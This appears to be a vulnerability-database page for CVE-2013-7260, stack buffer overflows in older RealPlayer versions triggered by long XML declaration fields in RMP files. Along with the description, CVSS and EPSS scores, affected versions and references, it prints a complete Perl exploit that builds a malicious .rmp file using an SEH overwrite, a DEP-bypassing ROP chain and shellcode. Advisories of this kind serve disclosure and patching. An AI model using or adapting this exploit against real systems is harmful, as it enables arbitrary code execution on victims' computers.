CVE-2013-7260 : Detail

CVE-2013-7260

Overflow
95.96%V3
Network
2014-01-03
19h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Multiple stack-based buffer overflows in RealNetworks RealPlayer before 17.0.4.61 on Windows, and Mac RealPlayer before 12.0.1.1738, allow remote attackers to execute arbitrary code via a long (1) version number or (2) encoding declaration in the XML declaration of an RMP file, a different issue than CVE-2013-6877.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 30468

Publication date : 2013-12-23 23h00 +00:00
Author : Gabor Seljan
EDB Verified : Yes

#!/usr/bin/perl #-----------------------------------------------------------------------------# # Exploit Title: RealNetworks RealPlayer Version Attribute Buffer Overflow # # Date: Dec 20 2013 # # Exploit Author: Gabor Seljan # # Vendor Homepage: http://www.real.com # # Software Link: http://www.oldapps.com/real.php?old_real_player=12814 # # Version: 16.0.3.51, 16.0.2.32 # # Tested on: Windows XP SP2/SP3 (DEP Bypass) # # CVE: CVE-2013-7260 # #-----------------------------------------------------------------------------# use strict; use warnings; my $filename = "sploit.rmp"; my $junk1 = "\x41" x 44; # Offset to ROP + Shellcode my $junk2 = "\x43" x 1858; # Offset to SEH when opening via click (2540) my $junk3 = "\x44" x 11052; # Offset to SEH when opening via menu (13600) my $nSEH = "\xeb\x06\x90\x90"; # Overwrite next SEH with JMP (6 bytes) my $SEH = pack('V',0x5acceecd); # ADD ESP,428 # RETN 10 [mswmdm.dll] my $junk4 = "\x45" x 17000; # Generate exception my $rop_gadgets = ""; $rop_gadgets .= pack('V',0x77c1c552); # RETN (ROP NOP) [msvcrt.dll] $rop_gadgets .= "\x42" x 16; # JUNK $rop_gadgets .= pack('V',0x77c21d16); # POP EAX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c11120); # &VirtualProtect() [IAT msvcrt.dll] $rop_gadgets .= pack('V',0x77c1bb36); # POP EBP # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c20497); # skip 4 bytes [msvcrt.dll] $rop_gadgets .= pack('V',0x77c2362c); # POP EBX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x0000095c); # 0x0000095C-> EBX $rop_gadgets .= pack('V',0x77c4cb29); # POP EDX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x00000040); # 0x00000040-> EDX $rop_gadgets .= pack('V',0x77c1f519); # POP ECX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77C5D305); # &Writable location [msvcrt.dll] $rop_gadgets .= pack('V',0x77c23b47); # POP EDI # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c47a42); # RETN (ROP NOP) [msvcrt.dll] $rop_gadgets .= pack('V',0x77c2ed13); # POP ESI # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c2aacc); # JMP [EAX] [msvcrt.dll] $rop_gadgets .= pack('V',0x77c12df9); # PUSHAD # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c35459); # PUSH ESP # RETN [msvcrt.dll] my $nops = "\x90" x 16; # msfpayload windows/exec CMD=calc.exe my $shellcode = "\xb8\x2f\x9e\xa9\x6f\xdb\xdc\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1". "\x33\x83\xea\xfc\x31\x42\x0e\x03\x6d\x90\x4b\x9a\x8d\x44\x02\x65\x6d\x95\x75". "\xef\x88\xa4\xa7\x8b\xd9\x95\x77\xdf\x8f\x15\xf3\x8d\x3b\xad\x71\x1a\x4c\x06". "\x3f\x7c\x63\x97\xf1\x40\x2f\x5b\x93\x3c\x2d\x88\x73\x7c\xfe\xdd\x72\xb9\xe2". "\x2e\x26\x12\x69\x9c\xd7\x17\x2f\x1d\xd9\xf7\x24\x1d\xa1\x72\xfa\xea\x1b\x7c". "\x2a\x42\x17\x36\xd2\xe8\x7f\xe7\xe3\x3d\x9c\xdb\xaa\x4a\x57\xaf\x2d\x9b\xa9". "\x50\x1c\xe3\x66\x6f\x91\xee\x77\xb7\x15\x11\x02\xc3\x66\xac\x15\x10\x15\x6a". "\x93\x85\xbd\xf9\x03\x6e\x3c\x2d\xd5\xe5\x32\x9a\x91\xa2\x56\x1d\x75\xd9\x62". "\x96\x78\x0e\xe3\xec\x5e\x8a\xa8\xb7\xff\x8b\x14\x19\xff\xcc\xf0\xc6\xa5\x87". "\x12\x12\xdf\xc5\x78\xe5\x6d\x70\xc5\xe5\x6d\x7b\x65\x8e\x5c\xf0\xea\xc9\x60". "\xd3\x4f\x25\x2b\x7e\xf9\xae\xf2\xea\xb8\xb2\x04\xc1\xfe\xca\x86\xe0\x7e\x29". "\x96\x80\x7b\x75\x10\x78\xf1\xe6\xf5\x7e\xa6\x07\xdc\x1c\x29\x94\xbc\xcc\xcc". "\x1c\x26\x11\x7f\x72\x75\x0a\xf5\x98\x79\x2f\xb1\x76\x30\xe0\x3f\x49\x74\x0d". "\x93\x42\x0c\xbf\x92\xb8\x4e\xba\x4a\xbe\x99\x71\x09\xf8\x14\xa9\x96\x91\x7e". "\x7c\x77\x27\x25\x7b\x38\xd6\x9b\x33\xd5\xb5\x31\xe1\x66\xb7\xb4\x80\xd2\xfd". "\x2d\xb6\x24\x43\x67\x90\xb2\xbb\x47\x40\x73\x3c\x3d\x97\x1c\x29\xd0\xf9\x70". "\x4b\x78\x35\x9f\x4f\x2c\xb3\x7a\x05\x87\xf6\xd3\xeb\x48\xb0\x89\xf7\xe2\x41". "\x1d\x8d\xb9\x15\x04\x2b\xfc\xa8\x3a\xd4\x37\x7d\x19\xf8\x7e\x08\xeb\x21\xe1". "\x7b\x71\x75\x05\x3f\xbb\x66\x0c\x93\x3c\x8d\x98\x69\xf9\x7c\x27\x70\x48\x23". "\xd4\x84\xf5\xbe\x72\x4e\xa8\x9b\x73\x25\x41\x81\xe0\x04\x40\x78\x79\x43\x37". "\x7f\x2c\x96\xb9\xbf\x74\x77\x1d\x0d\x20\xfc\xb4\x91\xa9\xb8\x97\x4b\x18\xe3". "\x49\x7d\x76\x3d\x47\xba\xb5\x14\x99\xb1\x24\x83\xe2\x10\xfd\x67\x7a\x4f\x35". "\x9f\xb6\xb3\x7d\x75\x32\xe2\x4a\x86\xd5\xb2\xb7\xb0\x77\x11\xe0\x12\xd1\xeb". "\x1c\x90\x7f\x42\x7c\x2d\x92\x72\x2f\x7a\x13\xc0\xd6\x76\x15\x99\x70\x14\x8d". "\x4e\xbe\x96\xb7\x85\xff\xc1\xe1\x2d\xb0\x71\x1b\xd5\x1d\x02\xe3\x04\x7b\x05". "\xb2\x73\x03\xf8\xb4\x7e\x1a\xfd\xb9\x37\x42\x4b\xb3\x39\xf9\x25\xb5\xa8\x3d". "\xba\x92\x40\x4a\xb6\x24\x79\x27\x0c\xbb\x88\xfc\x3c\x35\x97\x4f\x9b\x47\x78". "\x15\x41\x91\x66\xb1\x74\x0d\xbf\xb8\x90\x28\xd4\x2a\xf5\x3f\x43\x93\x98\x2c". "\x1c\xa9\x2f\x48\x9f\x67\x49\x3b\xd6"; my $evil = $rop_gadgets.$nops.$shellcode; my $sploit = $junk1.$evil.$junk2.$nSEH.$SEH.$junk3.$nSEH.$SEH.$junk4; open(FILE, ">$filename") || die "[-]Error:\n$!\n"; print FILE "<?xml version=\"$sploit\"?>"; close(FILE); print "Exploit file created successfully [$filename]!\n";

Products Mentioned

Configuraton 0

Realnetworks>>Realplayer >> Version To (including) 17.0.4.60

Realnetworks>>Realplayer >> Version 2.1.2

Realnetworks>>Realplayer >> Version 2.1.3

Realnetworks>>Realplayer >> Version 2.1.4

Realnetworks>>Realplayer >> Version 4

Realnetworks>>Realplayer >> Version 5

Realnetworks>>Realplayer >> Version 6

Realnetworks>>Realplayer >> Version 7

Realnetworks>>Realplayer >> Version 8

Realnetworks>>Realplayer >> Version 10.0

Realnetworks>>Realplayer >> Version 10.5

Realnetworks>>Realplayer >> Version 11.0

Realnetworks>>Realplayer >> Version 11.0.1

Realnetworks>>Realplayer >> Version 11.0.2

Realnetworks>>Realplayer >> Version 11.0.2.1744

Realnetworks>>Realplayer >> Version 11.0.2.2315

Realnetworks>>Realplayer >> Version 11.0.3

Realnetworks>>Realplayer >> Version 11.0.4

Realnetworks>>Realplayer >> Version 11.0.5

Realnetworks>>Realplayer >> Version 11.1

Realnetworks>>Realplayer >> Version 11.1.3

Realnetworks>>Realplayer >> Version 11_build_6.0.14.748

Realnetworks>>Realplayer >> Version 12.0.0.1444

Realnetworks>>Realplayer >> Version 12.0.0.1548

Realnetworks>>Realplayer >> Version 14.0.0

Realnetworks>>Realplayer >> Version 14.0.1

Realnetworks>>Realplayer >> Version 14.0.1.609

Realnetworks>>Realplayer >> Version 14.0.2

Realnetworks>>Realplayer >> Version 14.0.3

Realnetworks>>Realplayer >> Version 14.0.4

Realnetworks>>Realplayer >> Version 14.0.5

Realnetworks>>Realplayer >> Version 15.0.0

Realnetworks>>Realplayer >> Version 15.0.4

Realnetworks>>Realplayer >> Version 15.0.4.43

Realnetworks>>Realplayer >> Version 15.0.5.109

Realnetworks>>Realplayer >> Version 15.0.6.14

Realnetworks>>Realplayer >> Version 15.02.71

Realnetworks>>Realplayer >> Version 16.0.0

Realnetworks>>Realplayer >> Version 16.0.0.282

Realnetworks>>Realplayer >> Version 16.0.1.18

Realnetworks>>Realplayer >> Version 16.0.2.32

Realnetworks>>Realplayer >> Version 16.0.3.51

Configuraton 0

Realnetworks>>Realplayer >> Version 10.0

    Realnetworks>>Realplayer >> Version 10.0

      Realnetworks>>Realplayer >> Version 10.0

        Realnetworks>>Realplayer >> Version 10.1

          Realnetworks>>Realplayer >> Version 10.1

            Realnetworks>>Realplayer >> Version 10.1

              Realnetworks>>Realplayer >> Version 12.0.0.1701

                Realnetworks>>Realplayer >> Version 12.0.1.1737

                References

                http://www.securityfocus.com/bid/64695
                Tags : vdb-entry, x_refsource_BID
                http://www.exploit-db.com/exploits/30468/
                Tags : exploit, x_refsource_EXPLOIT-DB
                http://www.kb.cert.org/vuls/id/698278
                Tags : third-party-advisory, x_refsource_CERT-VN